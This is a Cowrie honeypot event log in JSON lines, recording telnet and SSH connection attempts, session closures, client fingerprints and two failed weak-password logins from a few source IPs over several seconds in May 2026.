{"eventid":"cowrie.session.closed","duration":31.06270456314087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.339514Z","src_ip":"185.111.235.80","session":"476b3aa55d1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57500,"dst_ip":"10.17.0.5","dst_port":22,"session":"78bf9b23fd2a","protocol":"ssh","message":"New connection: 176.65.139.103:57500 (10.17.0.5:22) [session: 78bf9b23fd2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.363410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.399898Z","src_ip":"176.65.139.103","session":"78bf9b23fd2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":51578,"dst_ip":"10.17.0.5","dst_port":23,"session":"35d79e3f611a","protocol":"telnet","message":"New connection: 108.61.242.114:51578 (10.17.0.5:23) [session: 35d79e3f611a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.445621Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54369,"dst_ip":"10.17.0.5","dst_port":23,"session":"333616174adb","protocol":"telnet","message":"New connection: 185.111.235.80:54369 (10.17.0.5:23) [session: 333616174adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.456446Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.461997Z","src_ip":"176.65.139.103","session":"78bf9b23fd2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55158,"dst_ip":"10.17.0.5","dst_port":23,"session":"715b991884c2","protocol":"telnet","message":"New connection: 185.111.235.80:55158 (10.17.0.5:23) [session: 715b991884c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.614580Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.787218Z","src_ip":"176.65.139.103","session":"78bf9b23fd2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.823810338974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.894389Z","src_ip":"185.111.235.80","session":"8c32817b549d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8788959980011,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.929263Z","src_ip":"185.111.235.80","session":"787033d0d57d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56378,"dst_ip":"10.17.0.5","dst_port":23,"session":"2df6f55bfaca","protocol":"telnet","message":"New connection: 185.111.235.80:56378 (10.17.0.5:23) [session: 2df6f55bfaca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:07.953130Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56650,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f81870bd5d2","protocol":"telnet","message":"New connection: 185.111.235.80:56650 (10.17.0.5:23) [session: 9f81870bd5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:08.022119Z"}
{"eventid":"cowrie.session.closed","duration":30.955708503723145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:08.095616Z","src_ip":"185.111.235.80","session":"c1b213f9cc22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.522732973098755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:08.225699Z","src_ip":"185.111.235.80","session":"48dc6dfb3d0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.063050031661987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:08.355492Z","src_ip":"185.111.235.80","session":"cf18fc2cb9a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":32892,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d643fa4a6f4","protocol":"telnet","message":"New connection: 185.111.235.80:32892 (10.17.0.5:23) [session: 5d643fa4a6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:08.824001Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:08.963046Z","src_ip":"176.65.139.103","session":"78bf9b23fd2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.136189460754395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:09.065992Z","src_ip":"185.111.235.80","session":"8d8bf8ed79f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57356,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdad014b5829","protocol":"telnet","message":"New connection: 185.111.235.80:57356 (10.17.0.5:23) [session: bdad014b5829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:09.123501Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37052,"dst_ip":"10.17.0.5","dst_port":23,"session":"35b023150719","protocol":"telnet","message":"New connection: 185.111.235.80:37052 (10.17.0.5:23) [session: 35b023150719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:09.621745Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60268,"dst_ip":"10.17.0.5","dst_port":23,"session":"a131daf52f27","protocol":"telnet","message":"New connection: 185.111.235.80:60268 (10.17.0.5:23) [session: a131daf52f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:09.662227Z"}
{"eventid":"cowrie.session.closed","duration":31.4324848651886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:09.711322Z","src_ip":"117.120.7.112","session":"911d773ec82b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51852,"dst_ip":"10.17.0.5","dst_port":23,"session":"64bab64104c4","protocol":"telnet","message":"New connection: 185.111.235.80:51852 (10.17.0.5:23) [session: 64bab64104c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.031404Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33850,"dst_ip":"10.17.0.5","dst_port":23,"session":"036ca3dcb850","protocol":"telnet","message":"New connection: 185.111.235.80:33850 (10.17.0.5:23) [session: 036ca3dcb850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.057963Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33946,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cfd2e843421","protocol":"telnet","message":"New connection: 185.111.235.80:33946 (10.17.0.5:23) [session: 9cfd2e843421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.084268Z"}
{"eventid":"cowrie.session.closed","duration":30.385145902633667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.106033Z","src_ip":"117.120.7.112","session":"dd25b85b08fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40830,"dst_ip":"10.17.0.5","dst_port":23,"session":"296fe02cf9f3","protocol":"telnet","message":"New connection: 185.111.235.80:40830 (10.17.0.5:23) [session: 296fe02cf9f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.322734Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41374,"dst_ip":"10.17.0.5","dst_port":23,"session":"5af9aabdd1f5","protocol":"telnet","message":"New connection: 185.111.235.80:41374 (10.17.0.5:23) [session: 5af9aabdd1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.415374Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41422,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c8c5ced9c73","protocol":"telnet","message":"New connection: 185.111.235.80:41422 (10.17.0.5:23) [session: 2c8c5ced9c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.426011Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41830,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0a66efa5651","protocol":"telnet","message":"New connection: 185.111.235.80:41830 (10.17.0.5:23) [session: b0a66efa5651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.512091Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42164,"dst_ip":"10.17.0.5","dst_port":23,"session":"a27c5ba11c8b","protocol":"telnet","message":"New connection: 185.111.235.80:42164 (10.17.0.5:23) [session: a27c5ba11c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.602416Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37114,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aa1a591bfde","protocol":"telnet","message":"New connection: 185.111.235.80:37114 (10.17.0.5:23) [session: 5aa1a591bfde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.632963Z"}
{"eventid":"cowrie.session.closed","duration":31.971096515655518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.876925Z","src_ip":"185.111.235.80","session":"3437b5cd034b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.744831562042236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.905185Z","src_ip":"117.120.7.112","session":"0e0081bbeda8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847514867782593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.927393Z","src_ip":"185.111.235.80","session":"acb0e3588bdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09325671195984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.932433Z","src_ip":"185.111.235.80","session":"40bfcb2d9a4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43630,"dst_ip":"10.17.0.5","dst_port":23,"session":"851b39283d09","protocol":"telnet","message":"New connection: 185.111.235.80:43630 (10.17.0.5:23) [session: 851b39283d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.953123Z"}
{"eventid":"cowrie.session.closed","duration":30.80401349067688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:10.963193Z","src_ip":"185.111.235.80","session":"88c6c36cdcc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43982,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ceff3347adb","protocol":"telnet","message":"New connection: 185.111.235.80:43982 (10.17.0.5:23) [session: 2ceff3347adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:11.038545Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44052,"dst_ip":"10.17.0.5","dst_port":23,"session":"868fb60c88a9","protocol":"telnet","message":"New connection: 185.111.235.80:44052 (10.17.0.5:23) [session: 868fb60c88a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:11.067036Z"}
{"eventid":"cowrie.session.closed","duration":30.78771424293518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:11.185619Z","src_ip":"185.111.235.80","session":"441c6eefb5ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47152,"dst_ip":"10.17.0.5","dst_port":23,"session":"72571a6dc6af","protocol":"telnet","message":"New connection: 185.111.235.80:47152 (10.17.0.5:23) [session: 72571a6dc6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:11.656235Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47662,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a9ec2940636","protocol":"telnet","message":"New connection: 185.111.235.80:47662 (10.17.0.5:23) [session: 4a9ec2940636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:11.804379Z"}
{"eventid":"cowrie.session.closed","duration":30.720853090286255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:11.895941Z","src_ip":"185.111.235.80","session":"3efa594f6d71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854158401489258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:11.945291Z","src_ip":"185.111.235.80","session":"4fb0df18fba6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48168,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d32e2435b90","protocol":"telnet","message":"New connection: 185.111.235.80:48168 (10.17.0.5:23) [session: 7d32e2435b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:11.964504Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50836,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f12d1499af3","protocol":"telnet","message":"New connection: 185.111.235.80:50836 (10.17.0.5:23) [session: 7f12d1499af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:12.446351Z"}
{"eventid":"cowrie.session.closed","duration":34.15991973876953,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:12.458480Z","src_ip":"185.111.235.80","session":"8f0de9fd8af5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.201171398162842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:12.880655Z","src_ip":"185.111.235.80","session":"a02723e5ada6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694955348968506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:12.908203Z","src_ip":"185.111.235.80","session":"daa4f21d444d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.079132080078125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:13.059369Z","src_ip":"185.111.235.80","session":"5d3a10f82286","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48922,"dst_ip":"10.17.0.5","dst_port":23,"session":"f913aec82310","protocol":"telnet","message":"New connection: 185.111.235.80:48922 (10.17.0.5:23) [session: f913aec82310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:13.120462Z"}
{"eventid":"cowrie.session.closed","duration":34.25142288208008,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:13.162472Z","src_ip":"185.111.235.80","session":"e3da042f8fc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.224106311798096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:13.265686Z","src_ip":"117.120.7.112","session":"26a581b85b80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09489941596985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:13.921935Z","src_ip":"185.111.235.80","session":"982a346c3f11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98263120651245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:13.940911Z","src_ip":"185.111.235.80","session":"e31a562d26b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59046,"dst_ip":"10.17.0.5","dst_port":23,"session":"38ce19def3df","protocol":"telnet","message":"New connection: 185.111.235.80:59046 (10.17.0.5:23) [session: 38ce19def3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:14.072345Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54054,"dst_ip":"10.17.0.5","dst_port":23,"session":"65dba6999bf5","protocol":"telnet","message":"New connection: 185.111.235.80:54054 (10.17.0.5:23) [session: 65dba6999bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:14.167722Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59780,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d873d983886","protocol":"telnet","message":"New connection: 185.111.235.80:59780 (10.17.0.5:23) [session: 7d873d983886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:14.216935Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50442,"dst_ip":"10.17.0.5","dst_port":22,"session":"25a4249f32b3","protocol":"ssh","message":"New connection: 176.65.139.103:50442 (10.17.0.5:22) [session: 25a4249f32b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:14.224580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:14.250115Z","src_ip":"176.65.139.103","session":"25a4249f32b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:14.333063Z","src_ip":"176.65.139.103","session":"25a4249f32b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.39998435974121,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:14.425014Z","src_ip":"117.120.7.112","session":"ca96eefc986f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47291135787964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:14.529945Z","src_ip":"185.111.235.80","session":"762336418981","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33676,"dst_ip":"10.17.0.5","dst_port":23,"session":"504b8402553a","protocol":"telnet","message":"New connection: 185.111.235.80:33676 (10.17.0.5:23) [session: 504b8402553a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:14.649792Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:14.756840Z","src_ip":"176.65.139.103","session":"25a4249f32b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.76029324531555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:14.913103Z","src_ip":"185.111.235.80","session":"9fc0fe2d3c77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58408,"dst_ip":"10.17.0.5","dst_port":23,"session":"053dc7bba98d","protocol":"telnet","message":"New connection: 185.111.235.80:58408 (10.17.0.5:23) [session: 053dc7bba98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:14.953822Z"}
{"eventid":"cowrie.session.closed","duration":30.395972728729248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:15.044250Z","src_ip":"185.111.235.80","session":"6680caff3db5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":36014,"dst_ip":"10.17.0.5","dst_port":23,"session":"f562d31deb75","protocol":"telnet","message":"New connection: 185.111.235.80:36014 (10.17.0.5:23) [session: f562d31deb75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:15.147632Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60044,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a4e4a3d8c25","protocol":"telnet","message":"New connection: 185.111.235.80:60044 (10.17.0.5:23) [session: 6a4e4a3d8c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:15.276336Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60474,"dst_ip":"10.17.0.5","dst_port":23,"session":"bde34c9b832a","protocol":"telnet","message":"New connection: 185.111.235.80:60474 (10.17.0.5:23) [session: bde34c9b832a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:15.357425Z"}
